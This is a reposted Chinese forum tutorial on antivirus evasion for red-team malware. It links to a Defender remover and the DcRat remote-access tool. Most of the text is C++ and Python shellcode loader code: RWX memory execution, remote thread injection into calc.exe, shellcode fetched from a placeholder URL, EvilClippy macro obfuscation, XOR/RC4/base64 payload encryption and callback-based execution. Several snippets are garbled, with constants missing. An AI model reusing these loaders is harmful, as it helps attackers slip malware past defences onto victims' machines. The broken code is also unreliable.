第一次发帖,大部分内容引用了许多大佬们的文章连接和代码,20% 是引用,80% 均为个人理解
希望红队的 XDM 早日在攻防与 APT 中取得精彩成绩
本文章分为很多篇章,由于太长我将抽时间一篇一篇的发布
一、资源
搞免杀得多学习一下新颖的技术和了解一些常用的社区平台
1、沙箱
virustotal:https://www.virustotal.com
某 60 沙盒:https://ata.360.net/
微步沙盒:https://s.threatbook.com/
奇安信沙盒:https://sandbox.ti.qianxin.com/sandbox/page
腾讯哈勃:https://habo.qq.com/
FreeBuf:https://sandbox.vulbox.com/detect?theme=vulbox
yara:https://github.com/VirusTotal/yara/releases
逆向环境虚拟机:
https://github.com/indetectables-net/toolkit
做免杀推荐断网开发,移除 defender
https://github.com/ionuttbara/windows-defender-remover
如果要上传沙箱建议使用本地沙箱,具体就不举例了
2、工具资源
CS 资源:https://github.com/zer0yu/Awesome-CobaltStrike
免杀手法:http://web.archive.org/web/20240531035548/https://cmn.cool/docs/Maldevacademy/
免杀手法:https://github.com/g1oves2ali/anti-anti-virus
免杀手法:https://github.com/xf555er/AntiAntiVirusNotes
巨龙拉登:https://github.com/k8gege/Ladon
欧拉:https://github.com/d3ckx1/OLa
upx 加壳:https://github.com/upx/upx/releases
反弹 shell 免杀:https://github.com/emrekybs/nim-shell
py 生成 php 免杀 webshell:https://github.com/xzajyjs/Anti-Virus-PHP
DcRat 远控:https://github.com/qwqdanchun/DcRat
DcRat 汉化版 (类似于 CS 的远控)https://github.com/sysrom/DcRatCHS
数字签名工具 (GUI)https://github.com/INotGreen/SharpThief
数字签名工具 (可签 dll):https://github.com/langsasec/Sign-Sacker
PE 资源编辑工具 (restorator2018):https://www.52pojie.cn/thread-752217-1-1.html
二、C++ 免杀基础
建议采用 64 位 PE 做免杀,因为 64 位 PE 具备很多 32 位不具备的 WINAPI 函数和系统调用,这样 3 环的规避性可以大大提升,从而转移到内核对抗
同时 32 位的空代码编译出来放进 virustotal 存在的误报会更多一些,为什么 x86 的误报比 x64 高?
这是因为 x86 使用了 wow64,大多数函数调用和默认编译器的静态链接会更多一些,某些字符串和导入函数更多,即使没有恶意代码也会增大文件的熵值
关于虚拟机测 antivirus 看这里,虚拟机可以克隆链,然后记得关上传样本,不然刚入门你会被标记到吐血
https://cloud.tencent.com/developer/article/2 某 60993
注意:目前我已经没有使用任何公开的 C2 了,基本都是从 0 重构或者采用优秀的 C2 架构全模块重构,但是后面的内容是一定要看的,无论是武器化开发还是简单的绕绕 antivirus 产品,后面的内容是必经之路
1、程序的纯净化
1.VS 编译配置
编译器配置,这一步切记不可少,否则 64 位空代码直接飙到 6/71,因为 vs 默认编译是会留下特征的,想要做好免杀必须得清除编译的特征,最重要的就是调试信息得关闭!!!
参考:https://mp.weixin.qq.com/s/UJlVvagNjmy9E-B-XjBHyw
md 模式的程序是读的系统的 msvcrt.dll,生成的文件体积会小很多,因此报毒概率会小很多,但不是所有的 windows 都有 msvcrt.dll,因此如果要兼容效果,就必须要牺牲一定的报毒率。
调试信息会在 EXE 中带上你的编译路径,建议关闭
2.CRT 库删除
经过上面所说的配置以后,你会发现编译的普通 hello world 的 exe 的导入表还是存在无关的函数
CRT(即 C 运行时库)是 C 编程语言的标准接口。CRT 包含函数和宏的集合。为标准 C 和 C++ 程序提供基本功能。它包括内存管理函数(如 malloc、memset 和 free)、字符串操作函数(如 strcpy 和 strlen)和 I/O 函数(如 printf、wprintf 和 scanf)。
CRT DLL 文件名为 vcruntimeXXX.dll,其中 XXX 是正在使用的 CRT 库的版本号。还有 api-ms-win-crt-stdio-l1-1-0.dll、api-ms-win-crt-runtime-l1-1-0.dll 和 api-ms-win-crt 等 DLL 文件 - locale-l1-1-0.dll,也链接到 CRT 库。这些 DLL 中的每一个都执行特定的功能并导出多个函数。这些 DLL 文件在编译时由编译器链接,因此可以在生成的程序的导入表 (IAT) 中找到。
Hello World” 程序的 IAT 应该仅导入有关 printf 函数的信息,但它导入了以下函数
我们将多线程 MD 改为 MT
改完后 CRT 库消失了,但是导出函数更加多了
2、基础上线
1.VirtualAlloc 申请内存
内存有很多种属性,下面是利用 VirtualAlloc 申请 RWX 内存空间,大小为 shellcode 大小
memcpy 是将 shellcode 存放进入该内存空间,最后以指针的方式标记为函数去执行内存中的 shellcode
这里需要大家去学习基本的 PE 文件结构、RVA、VA 等知识才能清晰认识到什么是内存
#include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char shellcode[] = "\x48....";
void main(){
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
隐藏窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
对于 stagless (完整型负荷) 如果 shellcode 太长,vs 编译器截断报错可以写到头文件中,再把 char 类型转为 string 类型
#include <iostream> #include <string> int main(){
unsigned char hexData[434706] = { };
std::string strData(reinterpret_cast<const char*>(hexData), sizeof(hexData));
return 0;
}
2.HeapAlloc 申请内存
HeapAlloc 往往优势在于开辟的内存都是不可执行的,在堆中开辟,所以可以绕过许多内存监控
LPVOID Memory = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, shellcode.size() + 1);
memcpy(Memory, shellcode, sizeof(shellcode));
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)Memory, shellcode.size(), PAGE_EXECUTE_READWRITE, &oldProtect);
((void(*)())Memory)();
3. 纤程
#include <windows.h> void like(){
unsigned char data[] = "\x48...";
LPVOID fiber = ConvertThreadToFiber(NULL);
LPVOID Alloc = VirtualAlloc(NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CopyMemory(Alloc, data, sizeof(data));
LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);
SwitchToFiber(shellFiber);
}
int main(){
like();
}
4. 远程线程注入 (CreateRemoteThread)
https://www.freebuf.com/articles/system/228233.html
原理就是打开无害的 calc.exe 也就是计算器,对计算器 (calc.exe) 进行 shellcode 注入
提示“stdafx.h”: No such file or directory?其实stdafx.h就是studio.h和tchar.h
#include <stdio.h> #include <tchar.h>
#include <Windows.h> #include <stdio.h> #include <tchar.h> #include "iostream" #pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std;
unsigned char shellcode[] = "\x48...";
BOOL injection()
{
wchar_t Cappname[MAX_PATH] = { 0 };
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpnewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;
lpMalwareBaseAddr = shellcode;
GetSystemDirectory(Cappname, MAX_PATH);
_tcscat(Cappname, L"\\calc.exe");
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (CreateProcess(Cappname, NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED
, NULL, NULL, &si, &pi) == 0)
{
return bRet;
}
lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
, NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpnewVictimBaseAddr == NULL)
{
return bRet;
}
WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExitCode);
TerminateProcess(pi.hProcess, 0);
return bRet;
}
void help(char* proc)
{
}
int main(int argc, char* argv[])
{
help(argv[0]);
injection();
}
5. 云端读取代码
shellcode 可以存放进入云端,并不局限于本地
#include <iostream> #include <string> #include <stdexcept> #include <windows.h> #include <wininet.h> #pragma comment(lib, "wininet.lib") std::string getWebPageContent(const std::string& url){
HINTERNET hInternet = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
std::string result;
constexpr DWORD bufferSize = 4096;
char buffer[bufferSize];
DWORD bytesRead = 0;
while (InternetReadFile(hConnect, buffer, bufferSize, &bytesRead) && bytesRead > 0) {
result.append(buffer, bytesRead);
}
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return result;
}
int main(){
std::string url = "http://xxx.com";
std::string content = getWebPageContent(url);
std::cout << "Web page content:\n" << content << std::endl;
return 0;
}
6. 宏上线
宏 VB 免杀:https://github.com/outflanknl/EvilClippy
VS 打开终端输入下面命令生成 EXE 即可
csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs
将 CS 生成的 VBA 与不免杀的 hong.doc 混合
evilclippy.exe -s sb.vba hong.doc
切记生成使用 1997 年版本的 doc,否则报错
使用 -s 参数通过假的 vba 代码插入到模块中,用以混淆杀毒程序,这里我们需要写一个正常无毒的 vba 脚本,以下
Sub Hello()
Dim X
X=MsgBox("hello world!")
7. 函数篡改上线
本地函数篡改注入指的是通过篡改或替代代码中的本地函数,来达到执行任意代码或修改程序行为的目的,这种方式避免了我们使用 VirtualAlloc 等高度监视的函数。就和我们上上节课讲的映射注入一样,通过将文件映射对象映射到内存,然后创建一个线程去执行其 shellcode 内存区域执行。
#include <stdio.h> #include <Windows.h> unsigned char shellcode[] = { 0xFC, , ....};
int main(){
PVOID pAddress = NULL;
DWORD dwOldProtection = NULL;
HANDLE hthread = NULL;
HMODULE hm = GetModuleHandleA("kernel32.dll");
pAddress = GetProcAddress(hm, "Wow64DisableWow64FsRedirection");
VirtualProtect(pAddress, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
memcpy(pAddress, shellcode, sizeof(shellcode));
VirtualProtect(pAddress, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
hthread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
if (hthread != NULL){
WaitForSingleObject(hthread, INFINITE);
printf("1231231321");}
3、加密上线
1). 异或
异或既简单也不敏感 (前提是你的异或 key 要长)
#include <iostream> #include <windows.h> using namespace std;
void main(){
unsigned char shellcode[] = "";
int len_shellcode = 927;
for (int i = 0; i < len_shellcode; i++)
{
shellcode[i] ^= ;
}
for (int i = 0; i < len_shellcode; i++)
{
cout << R"(\x)" << hex << (int)(unsigned)shellcode[i];
}
}
#include <iostream> #include <windows.h> using namespace std;
void main(){
unsigned char shellcode[] = "";
for (int i = 0; i < sizeof(shellcode); i++)
{
shellcode[i] ^= ;
}
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
也可以等 shellcode 加载进内存后再做异或更为安全
VOID Xor(PBYTE pbBuffer, SIZE_T dwSize){
const char szKey[] = {, , , , , , , , , , , , , , , };
for (int i = 0; i < dwSize; i++) {
*(pbBuffer + i) ^= szKey[i % sizeof szKey];
}
}
...
memcpy(lpMem, shellcode.data(), shellcode.size());
Xor((PBYTE)lpMem, dwSize);
..............
2).RC 加密
https://blog.csdn.net/m0_51345235/article/details/132793196
#include <stdio.h> #include <windows.h> #include <iostream> using namespace std;
unsigned char T[256] = { 0 };
int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len){
int i = 0, j = 0;
unsigned char t[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
t[i] = key[i % Len];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + t[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
for (int i = 0; i < 256; i++)
{
T[i] = s[i];
cout << "0x" << hex << (int)T[i] << ',';
}
cout << endl;
return 0;
}
int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len){
int i = 0, j = 0, t = 0;
unsigned char tmp;
for (int k = 0; k < Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
buf[k] ^= s[t];
}
return 0;
}
unsigned int main(){
char key[] = "hhh";
unsigned char buf[] =
"encrypt_shellcode";
unsigned char s[256];
rc4_init(s, (unsigned char*)key, strlen(key));
for (size_t i = 0; i < sizeof(buf); i++)
{
rc4_crypt(s, &buf[i], sizeof(buf[i]));
printf("\\x%02x", buf[i]);
}
}
https://blog.csdn.net/m0_51345235/article/details/132793196
#include <stdio.h> #include <windows.h> #include <iostream> using namespace std;
unsigned char T[256] = { 0 };
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len){
int i = 0, j = 0;
unsigned char t[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
t[i] = key[i % Len];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + t[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
for (int i = 0; i < 256; i++)
{
T[i] = s[i];
cout << "0x" << hex << (int)T[i] << ',';
}
cout << endl;
return 0;
}
int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len){
int i = 0, j = 0, t = 0;
unsigned char tmp;
for (int k = 0; k < Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
buf[k] ^= s[t];
}
return 0;
}
unsigned int main(){
char key[] = "hhh";
unsigned char buf[] =
"\x3802";
unsigned char s[256];
rc4_init(s, (unsigned char*)key, strlen(key));
for (size_t i = 0; i < sizeof(buf); i++)
{
rc4_crypt(s, &buf[i], sizeof(buf[i]));
}
LPVOID add = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(add, buf, sizeof(buf));
HANDLE handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, 0, 0, 0);
WaitForSingleObject(handle, INFINITE);
return 0;
}
3).BASE64 + 异或
import base64
with open("payload.bin","rb") as f:
all=f.read()
array=[]
for i in all:
array.append(i^8)
print(base64.b64encode(bytearray(array)))
#include "base64.h" #include <algorithm> #include <stdexcept> static const char* base64_chars[2] = {
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "+/",
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "-_" };
static unsigned int pos_of_char(const unsigned char chr){
if (chr >= 'A' && chr <= 'Z') return chr - 'A';
else if (chr >= 'a' && chr <= 'z') return chr - 'a' + ('Z' - 'A') + 1;
else if (chr >= '0' && chr <= '9') return chr - '0' + ('Z' - 'A') + ('z' - 'a') + 2;
else if (chr == '+' || chr == '-') return 62; else if (chr == '/' || chr == '_') return 63; else throw std::runtime_error("Input is not valid base64-encoded data.");
}
static std::string insert_linebreaks(std::string str, size_t distance){
if (!str.length()) {
return "";
}
size_t pos = distance;
while (pos < str.size()) {
str.insert(pos, "\n");
pos += distance + 1;
}
return str;
}
template <typename String, unsigned int line_length>
static std::string encode_with_line_breaks(String s){
return insert_linebreaks(base64_encode(s, false), line_length);
}
template <typename String>
static std::string encode_pem(String s){
return encode_with_line_breaks<String, 64>(s);
}
template <typename String>
static std::string encode_mime(String s){
return encode_with_line_breaks<String, 76>(s);
}
template <typename String>
static std::string encode(String s, bool url){
return base64_encode(reinterpret_cast<const unsigned char*>(s.data()), s.length(), url);
}
std::string base64_encode(unsigned char const* bytes_to_encode, size_t in_len, bool url){
size_t len_encoded = (in_len + 2) / 3 * 4;
unsigned char trailing_char = url ? '.' : '=';
const char* base64_chars_ = base64_chars[url];
std::string ret;
ret.reserve(len_encoded);
unsigned int pos = 0;
while (pos < in_len) {
ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0xfc) >> 2]);
if (pos + 1 < in_len) {
ret.push_back(base64_chars_[((bytes_to_encode[pos + 0] & ) << 4) + ((bytes_to_encode[pos + 1] & 0xf0) >> 4)]);
if (pos + 2 < in_len) {
ret.push_back(base64_chars_[((bytes_to_encode[pos + 1] & ) << 2) + ((bytes_to_encode[pos + 2] & 0xc0) >> 6)]);
ret.push_back(base64_chars_[bytes_to_encode[pos + 2] & ]);
}
else {
ret.push_back(base64_chars_[(bytes_to_encode[pos + 1] & ) << 2]);
ret.push_back(trailing_char);
}
}
else {
ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & ) << 4]);
ret.push_back(trailing_char);
ret.push_back(trailing_char);
}
pos += 3;
}
return ret;
}
template <typename String>
static std::string decode(String encoded_string, bool remove_linebreaks){
if (encoded_string.empty()) return std::string();
if (remove_linebreaks) {
std::string copy(encoded_string);
copy.erase(std::remove(copy.begin(), copy.end(), '\n'), copy.end());
return base64_decode(copy, false);
}
size_t length_of_string = encoded_string.length();
size_t pos = 0;
size_t approx_length_of_decoded_string = length_of_string / 4 * 3;
std::string ret;
ret.reserve(approx_length_of_decoded_string);
while (pos < length_of_string) {
size_t pos_of_char_1 = pos_of_char(encoded_string[pos + 1]);
ret.push_back(static_cast<std::string::value_type>(((pos_of_char(encoded_string[pos + 0])) << 2) + ((pos_of_char_1 & ) >> 4)));
if ((pos + 2 < length_of_string) &&
encoded_string[pos + 2] != '=' &&
encoded_string[pos + 2] != '.'
)
{
unsigned int pos_of_char_2 = pos_of_char(encoded_string[pos + 2]);
ret.push_back(static_cast<std::string::value_type>(((pos_of_char_1 & ) << 4) + ((pos_of_char_2 & ) >> 2)));
if ((pos + 3 < length_of_string) &&
encoded_string[pos + 3] != '=' &&
encoded_string[pos + 3] != '.'
)
{
ret.push_back(static_cast<std::string::value_type>(((pos_of_char_2 & ) << 6) + pos_of_char(encoded_string[pos + 3])));
}
}
pos += 4;
}
return ret;
}
std::string base64_decode(std::string const& s, bool remove_linebreaks){
return decode(s, remove_linebreaks);
}
std::string base64_encode(std::string const& s, bool url){
return encode(s, url);
}
std::string base64_encode_pem(std::string const& s){
return encode_pem(s);
}
std::string base64_encode_mime(std::string const& s){
return encode_mime(s);
}
#if __cplusplus >= 201703L std::string base64_encode(std::string_view s, bool url){
return encode(s, url);
}
std::string base64_encode_pem(std::string_view s){
return encode_pem(s);
}
std::string base64_encode_mime(std::string_view s){
return encode_mime(s);
}
std::string base64_decode(std::string_view s, bool remove_linebreaks){
return decode(s, remove_linebreaks);
}
#endif
#pragma once const int XOR_KEY{ 8 };
#ifndef BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A #define BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A #include <string> #if __cplusplus >= 201703L #include <string_view> #endif std::string base64_encode(std::string const& s, bool url = false);
std::string base64_encode_pem(std::string const& s);
std::string base64_encode_mime(std::string const& s);
std::string base64_decode(std::string const& s, bool remove_linebreaks = false);
std::string base64_encode(unsigned char const*, size_t len, bool url = false);
#if __cplusplus >= 201703L std::string base64_encode(std::string_view s, bool url = false);
std::string base64_encode_pem(std::string_view s);
std::string base64_encode_mime(std::string_view s);
std::string base64_decode(std::string_view s, bool remove_linebreaks = false);
#endif #endif
#include <windows.h> #include <stdio.h> #include "base64.h" #include <string> #include <random> #include <vector> using namespace std;
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
string rest2_reference = "xxx";
void runShellcode(LPVOID param){
auto func = ((void(*)())param);
func();
}
void main(){
string rest2_decoded = base64_decode(rest2_reference);
const char* S = rest2_decoded.c_str();
vector<uint8_t> shellcode;
for (int j = 0; j < rest2_decoded.length(); j++) {
shellcode.push_back(S[j] ^ XOR_KEY);
}
auto alloc = ::VirtualAlloc(
NULL,
shellcode.size() + 1,
MEM_COMMIT,
PAGE_READWRITE
);
memcpy(alloc, shellcode.data(), shellcode.size());
DWORD old;
VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old);
shellcode.clear(); HandlePtr thread(NULL, &::CloseHandle);
thread.reset(::CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)runShellcode,
alloc,
0,
0
));
WaitForSingleObject(thread.get(), INFINITE);
}
std::string replace(const std::string& inStr, const char* pSrc, const char* pReplace){
std::string str = inStr;
std::string::size_type stStart = 0;
std::string::iterator iter = str.begin();
while (iter != str.end())
{
std::string::size_type st = str.find(pSrc, stStart);
if (st == str.npos)
{
break;
}
iter = iter + st - stStart;
str.replace(iter, iter + strlen(pSrc), pReplace);
iter = iter + strlen(pReplace);
stStart = st + strlen(pReplace);
}
return str;
}
4). 普通分离上线
生成 raw 格式的 payload.bin,重心是这个是通过传参来加载的,配合 shellcode 免杀往往效果比较棒
ReadFile(File, exec, Size, &ReadSize, NULL);
这里使用 ReadFile 的形式将 shellcoce 给 copy 到内存中
#include<Windows.h> int main(int argc, char* argv[]){
DWORD Size;
DWORD ReadSize;
HANDLE File;
File = CreateFileA(argv[1], GENERIC_ALL, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (File == INVALID_HANDLE_VALUE)
{
return 0;
}
Size = GetFileSize(File, NULL);
void* exec = VirtualAlloc(0, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
ReadFile(File, exec, Size, &ReadSize, NULL);
((void(*)())exec)();
}
5). 放入内存再解密
很多 antivirus 会监控你的解密函数,如果是先解密再 memcpy 到内存,很有可能这一步就给你马子干掉了
4、白名单上线 / 回调函数
所有回调函数手法:https://github.com/aahmad097/AlternativeShellcodeExec
1).IPV4
将 shellcode 转 ipv4 地址并利用回调函数上线,现在这玩意已经玩烂了,antivirus 还是能应对,但重心是利用回调函数去执行内存中的 shellcode,关于更多回调利用手法可以看上面
import ipaddress
buf = b'''...''' def convertToIPV4(shellcode):
if len(shellcode)%4 !=0:
print("\n[*] length:",len(shellcode)+(4-(len(shellcode)%4)))
addNullbyte = b"\x00" * (4-(len(shellcode)%4))
shellcode += addNullbyte
ipv4 = []
for i in range(0, len(shellcode), 4):
ipv4.append(str(ipaddress.IPv4Address(shellcode[i:i+4])))
return ipv4
if __name__ == '__main__':
r = convertToIPV4(buf)
print(str(r).replace("'","\""))
#include <Windows.h> #include <iostream> #include <ip2string.h> #pragma comment(lib, "Ntdll.lib") const char* ipv4[] =
{
"252.72.131.228", "240.232.200.0", ...";
for (int i = 0; i < elems; i++) {
if (RtlIpv4StringToAddressA(ipv4[i], FALSE, &Terminator, (in_addr*)hptr) == STATUS_INVALID_PARAMETER)
{
printf("ERROR!");
return 0;
}
hptr += 4;
}
// EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
// EnumTimeFormatsA((TIMEFMT_ENUMPROCA)ha, 0, 0);
// EnumWindows((WNDENUMPROC)ha, 0);
// EnumDesktopWindows(NULL,(WNDENUMPROC)ha, 0);
// EnumThreadWindows(0, (WNDENUMPROC)ha, 0);
// EnumSystemGeoID(0, 0, (GEO_ENUMPROC)ha);
// EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)ha, 0, 0);
EnumUILanguagesA((UILANGUAGE_ENUMPROCA)ha, 0, 0);
// EnumSystemCodePagesA((CODEPAGE_ENUMPROCA)ha, 0);
// EnumDesktopsW(NULL,(DESKTOPENUMPROCW)ha, NULL);
// EnumSystemCodePagesW((CODEPAGE_ENUMPROCW)ha, 0);
// EnumDateFormatsA((DATEFMT_ENUMPROCA)ha, 0, 0);
// EnumChildWindows(NULL, (WNDENUMPROC)ha, 0);
// CloseHandle(ha);
return 0;
}
2).SystemFunction033
https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/#more-4293
#include <windows.h> #include <stdio.h> typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring *memoryRegion,
struct ustring *keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PUCHAR Buffer;
} _data, key;
int main(){
printf("[*] RC4 Shellcode Encrypter using Systemfunction032/033\n");
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");
char _key[] = "yourkey";
unsigned char shellcode[] = {
, ... };
key.Buffer = (PUCHAR)(&_key);
key.Length = sizeof key;
_data.Buffer = (PUCHAR)shellcode;
_data.Length = sizeof shellcode;
SystemFunction033(&_data, &key);
printf("\nunsigned char shellcode[] = { ");
for (size_t i = 0; i < _data.Length; i++) {
if (!(i % 16)) printf("\n ");
printf("0x%02x, ", _data.Buffer[i]);
if(i == _data.Length-1) printf("0x%02x };", _data.Buffer[i]);
}
}
#include <windows.h> typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring *memoryRegion,
struct ustring *keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PUCHAR Buffer;
} _data, key;
int main(){
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");
char _key[] = "yourkey";
unsigned char shellcode[] = {
, .... };
key.Buffer = (PUCHAR)(&_key);
key.Length = sizeof key;
_data.Buffer = (PUCHAR)shellcode;
_data.Length = sizeof shellcode;
SystemFunction033(&_data, &key);
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char*)shellcode, 0);
}
3).HTTP 回调
#include<Windows.h> #include<winhttp.h> #pragma comment(lib,"Winhttp.lib") unsigned char buf[] = "your_shellcode";
int main(INT argc, char* argv[]){
DWORD lpflOldProtect;
VirtualProtect(buf, sizeof buf / sizeof buf[0], PAGE_EXECUTE_READWRITE, &lpflOldProtect);
HINTERNET hSession = WinHttpOpen(L"User Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hSession, (WINHTTP_STATUS_CALLBACK)&buf, WINHTTP_CALLBACK_FLAG_HANDLES, 0);
WinHttpCloseHandle(hSession);
return 0;
}
4).copy 回调
#include <windows.h> #include <iostream> void* GetSbSectionAddress(){
HMODULE hModule = GetModuleHandle(NULL);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + pDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSection = (pNtHeaders);
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSection++) {
if (memcmp(pSection->Name, ".sb", 3) == 0) {
return (BYTE*)hModule + pSection->VirtualAddress;
}
}
return NULL;
}
int main(){
void* sbAddr = GetSbSectionAddress();
COPYFILE2_EXTENDED_PARAMETERS params;
params.dwSize = { sizeof(params) };
params.dwCopyFlags = COPY_FILE_FAIL_IF_EXISTS;
params.pfCancel = FALSE;
params.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)sbAddr;
params.pvCallbackContext = nullptr;
::DeleteFileW(L"C:\\Windows\\Temp\\backup.log");
::CopyFile2(L"C:\\Windows\\DirectX.log", L"C:\\Windows\\Temp\\backup.log", ¶ms);
return 0;
}
📌 转载信息
原作者:
Dh_FUN
转载时间:
2026/1/18 08:50:59